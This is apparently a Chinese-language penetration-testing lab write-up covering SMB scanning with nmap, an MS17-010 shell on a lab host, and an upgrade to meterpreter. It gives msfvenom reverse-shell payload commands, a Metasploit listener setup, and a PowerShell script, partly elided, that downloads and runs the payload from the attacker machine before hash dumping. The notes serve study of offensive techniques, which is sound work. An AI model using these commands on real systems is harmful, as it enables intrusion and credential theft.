0x00 前言
很久没有更新博客了，主要是因为工作很忙，写博客也太耗时间了。但是突然发现，许久不写很多东西都快生疏了。因而决定从今天起开始写一些跟渗透测试相关的文章，也可以认为是学习笔记吧，留作日后的技术积累和参考吧。
0x01 案列分析
实验环境：
  • 目标靶机：10.11.1.0/24
  • 攻击机：Kali Linux (10.11.0.79)
信息收集：
扫描存在smb服务的主机：
  1. # nmap -A -p 139,445 10.11.1.1-254 -oG smb_service.txt

后渗透利用：
在上一步中我们成功地从IP：10.11.1.220上反弹了一个shell回来，但很显然这不是一个完美的交互式的shell且不稳定可靠，那么接下来我们该怎么办呢？首先，我们想到的是获得一个功能更加强大且稳定可靠的meterpreter。
检查目标系统的操作系统版本：
  1. C:Windowssystem32>dir c:      
  2. dir c:
  3. Volume in drive C has no label.
  4. Volume Serial Number is A49A-E592

  6. Directory of c:

复制代码
显然目标系统是一个64位的Windows server 2008的服务器。
接下来，生成一个64位windows的meterpreter payload：
  1. msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT= -f exe -a x64 --platform win -o mp_64.exe
复制代码
注：32位的windows的meterpreter payload：
  1. msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -a x86 --platform win -o mp_86.exe
复制代码
上传meterpreter payload (mp_64.exe) 至攻击机的web目录中(/var/www/html/payload)以便目标机可以通过http链接来下载它。
重新开启一个msfconsole并开启监听。
  1. msf > use exploit/multi/handler
  2. msf exploit(handler) > set payload windows/x64/meterpreter/reverse_tcp
  3. payload => windows/x64/meterpreter/reverse_tcp
  4. msf exploit(handler) > show options

  6. Module options (exploit/multi/handler):

  8.    Name  Current Setting  Required  Description
  9.    ----  ---------------  --------  -----------


  12. Payload options (windows/x64/meterpreter/reverse_tcp):

  16.    EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  17.    LHOST                      yes       The listen address
  18.    LPORT     4444             yes       The listen port


  21. Exploit target:

  23.    Id  Name
  24.    --  ----
  25.    0   Wildcard Target

  32. msf exploit(handler) > run

  34. [*] Started reverse TCP handler on 10.11.0.79:8080

复制代码
利用反弹的shell创建用于下载我们准备好的meterpreter payload的powershell脚本，然后执行脚本下载payload（mp_64.exe）并执行。
  1. c:UsersAdministratorDesktop>echo $storageDir=$pwd > wget.ps1
  2. echo $storageDir=$pwd > wget.ps1

  4. c:UsersAdministratorDesktop>echo $webclient=New-Object System.Net.WebClient >>wget.ps1
  5. echo $webclient=New-Object System.Net.WebClient >>wget.ps1

  10. c:UsersAdministratorDesktop>echo $file="mp_64.exe" >>wget.ps1

  25. powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1  

  27. c:UsersAdministratorDesktop>mp_64.exe
复制代码
至此，我们成功地获得了一个功能强大的meterpreter，并可以很容易去dump hash为更进一步的渗透做准备。

总结一下本案例中的渗透思路：
  • 利用nmap批量扫描开放smb服务端口的主机
  • 利用nmap扫描存在smb漏洞的服务主机
  • 利用ms17-010验证和攻击目标主机并反弹shell
  • 制作更加稳定可靠的meterpreter payload
  • 利用powershell脚本下载meterpreter并执行
  • 获得meterpreter为进一步渗透做准备
